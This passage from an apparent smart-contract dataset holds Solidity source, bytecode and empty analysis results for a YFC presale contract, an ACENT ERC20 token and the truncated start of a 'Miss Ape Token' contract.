emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// https://docs.synthetix.io/contracts/SafeDecimalMath
library SafeDecimalMath {
using SafeMath for uint;
/* Number of decimal places in the representations. */
uint8 public constant decimals = 18;
uint8 public constant highPrecisionDecimals = 27;
/* The number representing 1.0. */
uint public constant UNIT = 10**uint(decimals);
/* The number representing 1.0 for higher fidelity numbers. */
uint public constant PRECISE_UNIT = 10**uint(highPrecisionDecimals);
uint private constant UNIT_TO_HIGH_PRECISION_CONVERSION_FACTOR = 10**uint(highPrecisionDecimals - decimals);
/**
* @return Provides an interface to UNIT.
*/
function unit() external pure returns (uint) {
return UNIT;
}
/**
* @return Provides an interface to PRECISE_UNIT.
*/
function preciseUnit() external pure returns (uint) {
return PRECISE_UNIT;
}
/**
* @return The result of multiplying x and y, interpreting the operands as fixed-point
* decimals.
*
* @dev A unit factor is divided out after the product of x and y is evaluated,
* so that product must be less than 2**256. As this is an integer division,
* the internal division always rounds down. This helps save on gas. Rounding
* is more expensive on gas.
*/
function multiplyDecimal(uint x, uint y) internal pure returns (uint) {
/* Divide by UNIT to remove the extra factor introduced by the product. */
return x.mul(y) / UNIT;
}
/**
* @return The result of safely multiplying x and y, interpreting the operands
* as fixed-point decimals of the specified precision unit.
*
* @dev The operands should be in the form of a the specified unit factor which will be
* divided out after the product of x and y is evaluated, so that product must be
* less than 2**256.
*
* Unlike multiplyDecimal, this function rounds the result to the nearest increment.
* Rounding is useful when you need to retain fidelity for small decimal numbers
* (eg. small fractions or percentages).
*/
function _multiplyDecimalRound(
uint x,
uint y,
uint precisionUnit
) private pure returns (uint) {
/* Divide by UNIT to remove the extra factor introduced by the product. */
uint quotientTimesTen = x.mul(y) / (precisionUnit / 10);
if (quotientTimesTen % 10 >= 5) {
quotientTimesTen += 10;
}
return quotientTimesTen / 10;
}
/**
* @return The result of safely multiplying x and y, interpreting the operands
* as fixed-point decimals of a precise unit.
*
* @dev The operands should be in the precise unit factor which will be
* divided out after the product of x and y is evaluated, so that product must be
* less than 2**256.
*
* Unlike multiplyDecimal, this function rounds the result to the nearest increment.
* Rounding is useful when you need to retain fidelity for small decimal numbers
* (eg. small fractions or percentages).
*/
function multiplyDecimalRoundPrecise(uint x, uint y) internal pure returns (uint) {
return _multiplyDecimalRound(x, y, PRECISE_UNIT);
}
/**
* @return The result of safely multiplying x and y, interpreting the operands
* as fixed-point decimals of a standard unit.
*
* @dev The operands should be in the standard unit factor which will be
* divided out after the product of x and y is evaluated, so that product must be
* less than 2**256.
*
* Unlike multiplyDecimal, this function rounds the result to the nearest increment.
* Rounding is useful when you need to retain fidelity for small decimal numbers
* (eg. small fractions or percentages).
*/
function multiplyDecimalRound(uint x, uint y) internal pure returns (uint) {
return _multiplyDecimalRound(x, y, UNIT);
}
/**
* @return The result of safely dividing x and y. The return value is a high
* precision decimal.
*
* @dev y is divided after the product of x and the standard precision unit
* is evaluated, so the product of x and UNIT must be less than 2**256. As
* this is an integer division, the result is always rounded down.
* This helps save on gas. Rounding is more expensive on gas.
*/
function divideDecimal(uint x, uint y) internal pure returns (uint) {
/* Reintroduce the UNIT factor that will be divided out by y. */
return x.mul(UNIT).div(y);
}
/**
* @return The result of safely dividing x and y. The return value is as a rounded
* decimal in the precision unit specified in the parameter.
*
* @dev y is divided after the product of x and the specified precision unit
* is evaluated, so the product of x and the specified precision unit must
* be less than 2**256. The result is rounded to the nearest increment.
*/
function _divideDecimalRound(
uint x,
uint y,
uint precisionUnit
) private pure returns (uint) {
uint resultTimesTen = x.mul(precisionUnit * 10).div(y);
if (resultTimesTen % 10 >= 5) {
resultTimesTen += 10;
}
return resultTimesTen / 10;
}
/**
* @return The result of safely dividing x and y. The return value is as a rounded
* standard precision decimal.
*
* @dev y is divided after the product of x and the standard precision unit
* is evaluated, so the product of x and the standard precision unit must
* be less than 2**256. The result is rounded to the nearest increment.
*/
function divideDecimalRound(uint x, uint y) internal pure returns (uint) {
return _divideDecimalRound(x, y, UNIT);
}
/**
* @return The result of safely dividing x and y. The return value is as a rounded
* high precision decimal.
*
* @dev y is divided after the product of x and the high precision unit
* is evaluated, so the product of x and the high precision unit must
* be less than 2**256. The result is rounded to the nearest increment.
*/
function divideDecimalRoundPrecise(uint x, uint y) internal pure returns (uint) {
return _divideDecimalRound(x, y, PRECISE_UNIT);
}
/**
* @dev Convert a standard decimal representation to a high precision one.
*/
function decimalToPreciseDecimal(uint i) internal pure returns (uint) {
return i.mul(UNIT_TO_HIGH_PRECISION_CONVERSION_FACTOR);
}
/**
* @dev Convert a high precision decimal to a standard decimal representation.
*/
function preciseDecimalToDecimal(uint i) internal pure returns (uint) {
uint quotientTimesTen = i / (UNIT_TO_HIGH_PRECISION_CONVERSION_FACTOR / 10);
if (quotientTimesTen % 10 >= 5) {
quotientTimesTen += 10;
}
return quotientTimesTen / 10;
}
}
contract IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount)
external
returns (bool);
function mint(address account, uint256 amount) public returns (bool);
function burn(uint256 amount) public returns (bool);
}
contract YFC_Presale is Ownable {
address private yfcCoinddress;
uint256 private price;
address private messenger;
using SafeMath for uint256;
using SafeDecimalMath for uint;
constructor(address _yfcCoinddress, uint256 _initialPrice) public {
yfcCoinddress = _yfcCoinddress;
price = _initialPrice;
}
event bought(address _buyer, uint256 _paid, uint256 _given);
event priceChanged(address initiator, uint256 _from, uint256 _to);
event messengerChanged(address _from, address _to);
modifier onlyMessenger() {
require(msg.sender == messenger, "caller is not a messenger");
_;
}
function updatePrice(uint256 _price) public onlyMessenger {
uint256 currentprice = price;
price = _price;
emit priceChanged(msg.sender, currentprice, _price);
}
function setMessenger(address _messenger) public onlyOwner {
address currentMessenger = messenger;
messenger = _messenger;
emit messengerChanged(currentMessenger, _messenger);
}
function setYFCCoin(address _yfcCoinddress) public onlyOwner {
yfcCoinddress = _yfcCoinddress;
}
function getPrice() public view returns (uint256 _price) {
return price;
}
function buyer() public payable {
require(msg.value > 0, "Invalid amount");
uint256 amount = msg.value; //.mul(10**18);
IERC20 YFCCoin = IERC20(yfcCoinddress);
uint256 amountToSend = amount.divideDecimal(price).multiplyDecimal(10**18);
require(
YFCCoin.transfer(msg.sender, amountToSend),
"Fail to send fund"
);
emit bought(msg.sender, msg.value, amountToSend);
}
function withdrawAllEtherByOwner() public onlyOwner {
msg.sender.transfer(address(this).balance);
}
function getContractEtherBalance() public view returns (uint256) {
return address(this).balance;
}
}
|
0x60806040526004361061009c5760003560e01c80638d6cc56d116100645780638d6cc56d146101555780638da5cb5b146101905780638f32d59b146101e757806398d5fdca14610216578063b70eebe214610241578063f2fde38b146102925761009c565b806330e76dae146100a157806366285967146100cc578063715018a61461011d5780637150d8ae146101345780637c74cabd1461013e575b600080fd5b3480156100ad57600080fd5b506100b66102e3565b6040518082815260200191505060405180910390f35b3480156100d857600080fd5b5061011b600480360360208110156100ef57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506102eb565b005b34801561012957600080fd5b50610132610468565b005b61013c6105a1565b005b34801561014a57600080fd5b50610153610822565b005b34801561016157600080fd5b5061018e6004803603602081101561017857600080fd5b81019080803590602001909291905050506108e5565b005b34801561019c57600080fd5b506101a5610a2d565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156101f357600080fd5b506101fc610a56565b604051808215151515815260200191505060405180910390f35b34801561022257600080fd5b5061022b610aad565b6040518082815260200191505060405180910390f35b34801561024d57600080fd5b506102906004803603602081101561026457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ab7565b005b34801561029e57600080fd5b506102e1600480360360208110156102b557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b75565b005b600047905090565b6102f3610a56565b610365576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507fa498569ed1874d00b4a12e3a2ae07d9dbff2985c04ea8af7dbfdd192e073f7f18183604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019250505060405180910390a15050565b610470610a56565b6104e2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60003411610617576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600e8152602001807f496e76616c696420616d6f756e7400000000000000000000000000000000000081525060200191505060405180910390fd5b60003490506000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690506000610674670de0b6b3a764000061066660025486610bfb90919063ffffffff16565b610c3190919063ffffffff16565b90508173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156106fd57600080fd5b505af1158015610711573d6000803e3d6000fd5b505050506040513d602081101561072757600080fd5b81019080805190602001909291905050506107aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f4661696c20746f2073656e642066756e6400000000000000000000000000000081525060200191505060405180910390fd5b7fd555f59d020f03b1367f1ceeaabc717299a6f9c7b0658e7bd1f225db34efc6de333483604051808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828152602001935050505060405180910390a1505050565b61082a610a56565b61089c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b3373ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f193505050501580156108e2573d6000803e3d6000fd5b50565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146109a8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260198152602001807f63616c6c6572206973206e6f742061206d657373656e6765720000000000000081525060200191505060405180910390fd5b60006002549050816002819055507fd768760f369eedc25f8687dd40c4dae85a9dc6611bdd56931206f33001864fb1338284604051808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828152602001935050505060405180910390a15050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614905090565b6000600254905090565b610abf610a56565b610b31576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b610b7d610a56565b610bef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b610bf881610c5e565b50565b6000610c2982610c1b601260ff16600a0a86610da290919063ffffffff16565b610e2890919063ffffffff16565b905092915050565b6000601260ff16600a0a610c4e8385610da290919063ffffffff16565b81610c5557fe5b04905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610ce4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180610f396026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600080831415610db55760009050610e22565b6000828402905082848281610dc657fe5b0414610e1d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180610f5f6021913960400191505060405180910390fd5b809150505b92915050565b6000610e6a83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610e72565b905092915050565b60008083118290610f1e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610ee3578082015181840152602081019050610ec8565b50505050905090810190601f168015610f105780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581610f2a57fe5b04905080915050939250505056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77a265627a7a723158201b0c9ebd7c0b8ee34b5a4cb50b926030178769de49b3c9c091bcb93c5f0ab36064736f6c63430005110032
|
{"success": true, "error": null, "results": {}}
| 7,836 |
0x18e5b64791763c4eb6ee88b41cb9c6cfe89ed073
|
pragma solidity ^0.5.0;
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(isOwner(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Returns true if the caller is the current owner.
*/
function isOwner() public view returns (bool) {
return msg.sender == _owner;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* > Note: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
*/
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath: modulo by zero");
return a % b;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC20 is IERC20, Ownable{
using SafeMath for uint256;
mapping (address => uint256) internal _balances;
mapping (address => mapping (address => uint256)) internal _allowances;
uint256 internal _totalSupply;
/**
* @dev See `IERC20.totalSupply`.
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
/**
* @dev See `IERC20.balanceOf`.
*/
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
/**
* @dev See `IERC20.transfer`.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
/**
* @dev See `IERC20.allowance`.
*/
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See `IERC20.approve`.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 value) public returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
/**
* @dev See `IERC20.transferFrom`.
*
* Emits an `Approval` event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of `ERC20`;
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `value`.
* - the caller must have allowance for `sender`'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to `approve` that can be used as a mitigation for
* problems described in `IERC20.approve`.
*
* Emits an `Approval` event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to `approve` that can be used as a mitigation for
* problems described in `IERC20.approve`.
*
* Emits an `Approval` event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to `transfer`, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a `Transfer` event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount);
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a `Transfer` event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destoys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a `Transfer` event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 value) internal {
require(account != address(0), "ERC20: burn from the zero address");
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an `Approval` event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 value) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = value;
emit Approval(owner, spender, value);
}
}
contract ERC20Burnable is ERC20 {
function burn(uint256 amount) public onlyOwner {
_burn(msg.sender, amount);
}
}
contract ERC20Mintable is ERC20 {
function mint(address account, uint256 amount) public onlyOwner returns (bool) {
_mint(account, amount);
return true;
}
}
/**
* @dev ACENT Token implementation.
*/
contract ACENTToken is ERC20Burnable, ERC20Mintable {
using SafeMath for uint256;
string public constant name = "ACENT";
string public constant symbol = "ACE";
uint8 public constant decimals = 18;
uint256 internal constant INITIAL_SUPPLY = 2 * (10**9) * (10 ** uint256(decimals)); // 2 billions tokens
/**
* @dev Constructor that gives msg.sender all of existing tokens.
*/
constructor() public {
_totalSupply = INITIAL_SUPPLY;
_balances[msg.sender] = INITIAL_SUPPLY;
emit Transfer(address(0), msg.sender, INITIAL_SUPPLY);
}
}
|
0x608060405234801561001057600080fd5b506004361061010b5760003560e01c806370a08231116100a257806395d89b411161007157806395d89b411461030c578063a457c2d714610314578063a9059cbb14610340578063dd62ed3e1461036c578063f2fde38b1461039a5761010b565b806370a08231146102b2578063715018a6146102d85780638da5cb5b146102e05780638f32d59b146103045761010b565b8063313ce567116100de578063313ce5671461021d578063395093511461023b57806340c10f191461026757806342966c68146102935761010b565b806306fdde0314610110578063095ea7b31461018d57806318160ddd146101cd57806323b872dd146101e7575b600080fd5b6101186103c0565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561015257818101518382015260200161013a565b50505050905090810190601f16801561017f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101b9600480360360408110156101a357600080fd5b506001600160a01b0381351690602001356103e1565b604080519115158252519081900360200190f35b6101d56103f7565b60408051918252519081900360200190f35b6101b9600480360360608110156101fd57600080fd5b506001600160a01b038135811691602081013590911690604001356103fd565b610225610454565b6040805160ff9092168252519081900360200190f35b6101b96004803603604081101561025157600080fd5b506001600160a01b038135169060200135610459565b6101b96004803603604081101561027d57600080fd5b506001600160a01b038135169060200135610495565b6102b0600480360360208110156102a957600080fd5b50356104e8565b005b6101d5600480360360208110156102c857600080fd5b50356001600160a01b031661053c565b6102b0610557565b6102e86105e8565b604080516001600160a01b039092168252519081900360200190f35b6101b96105f7565b610118610608565b6101b96004803603604081101561032a57600080fd5b506001600160a01b038135169060200135610627565b6101b96004803603604081101561035657600080fd5b506001600160a01b038135169060200135610663565b6101d56004803603604081101561038257600080fd5b506001600160a01b0381358116916020013516610670565b6102b0600480360360208110156103b057600080fd5b50356001600160a01b031661069b565b604051806040016040528060058152602001641050d1539560da1b81525081565b60006103ee3384846106eb565b50600192915050565b60035490565b600061040a8484846107d7565b6001600160a01b03841660009081526002602090815260408083203380855292529091205461044a918691610445908663ffffffff61091b16565b6106eb565b5060019392505050565b601281565b3360008181526002602090815260408083206001600160a01b038716845290915281205490916103ee918590610445908663ffffffff61097816565b600061049f6105f7565b6104de576040805162461bcd60e51b81526020600482018190526024820152600080516020610cb2833981519152604482015290519081900360640190fd5b6103ee83836109d9565b6104f06105f7565b61052f576040805162461bcd60e51b81526020600482018190526024820152600080516020610cb2833981519152604482015290519081900360640190fd5b6105393382610acb565b50565b6001600160a01b031660009081526001602052604090205490565b61055f6105f7565b61059e576040805162461bcd60e51b81526020600482018190526024820152600080516020610cb2833981519152604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031690565b6000546001600160a01b0316331490565b6040518060400160405280600381526020016241434560e81b81525081565b3360008181526002602090815260408083206001600160a01b038716845290915281205490916103ee918590610445908663ffffffff61091b16565b60006103ee3384846107d7565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b6106a36105f7565b6106e2576040805162461bcd60e51b81526020600482018190526024820152600080516020610cb2833981519152604482015290519081900360640190fd5b61053981610ba6565b6001600160a01b0383166107305760405162461bcd60e51b8152600401808060200182810382526024815260200180610d186024913960400191505060405180910390fd5b6001600160a01b0382166107755760405162461bcd60e51b8152600401808060200182810382526022815260200180610c906022913960400191505060405180910390fd5b6001600160a01b03808416600081815260026020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b03831661081c5760405162461bcd60e51b8152600401808060200182810382526025815260200180610cf36025913960400191505060405180910390fd5b6001600160a01b0382166108615760405162461bcd60e51b8152600401808060200182810382526023815260200180610c476023913960400191505060405180910390fd5b6001600160a01b03831660009081526001602052604090205461088a908263ffffffff61091b16565b6001600160a01b0380851660009081526001602052604080822093909355908416815220546108bf908263ffffffff61097816565b6001600160a01b0380841660008181526001602090815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b600082821115610972576040805162461bcd60e51b815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f770000604482015290519081900360640190fd5b50900390565b6000828201838110156109d2576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b6001600160a01b038216610a34576040805162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015290519081900360640190fd5b600354610a47908263ffffffff61097816565b6003556001600160a01b038216600090815260016020526040902054610a73908263ffffffff61097816565b6001600160a01b03831660008181526001602090815260408083209490945583518581529351929391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35050565b6001600160a01b038216610b105760405162461bcd60e51b8152600401808060200182810382526021815260200180610cd26021913960400191505060405180910390fd5b600354610b23908263ffffffff61091b16565b6003556001600160a01b038216600090815260016020526040902054610b4f908263ffffffff61091b16565b6001600160a01b0383166000818152600160209081526040808320949094558351858152935191937fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929081900390910190a35050565b6001600160a01b038116610beb5760405162461bcd60e51b8152600401808060200182810382526026815260200180610c6a6026913960400191505060405180910390fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b039290921691909117905556fe45524332303a207472616e7366657220746f20746865207a65726f20616464726573734f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f20616464726573734f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657245524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a265627a7a7231582009b5b2efa6336777af8b40fabde8f40ae0b76e43573b32acf89dc4d8507e181f64736f6c63430005100032
|
{"success": true, "error": null, "results": {}}
| 7,837 |
0xe0a2106853265a55ce8ea9b88702a7e907543faa
|
/**
*Submitted for verification at Etherscan.io on 2021-07-01
*/
/*
Miss Ape Token
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
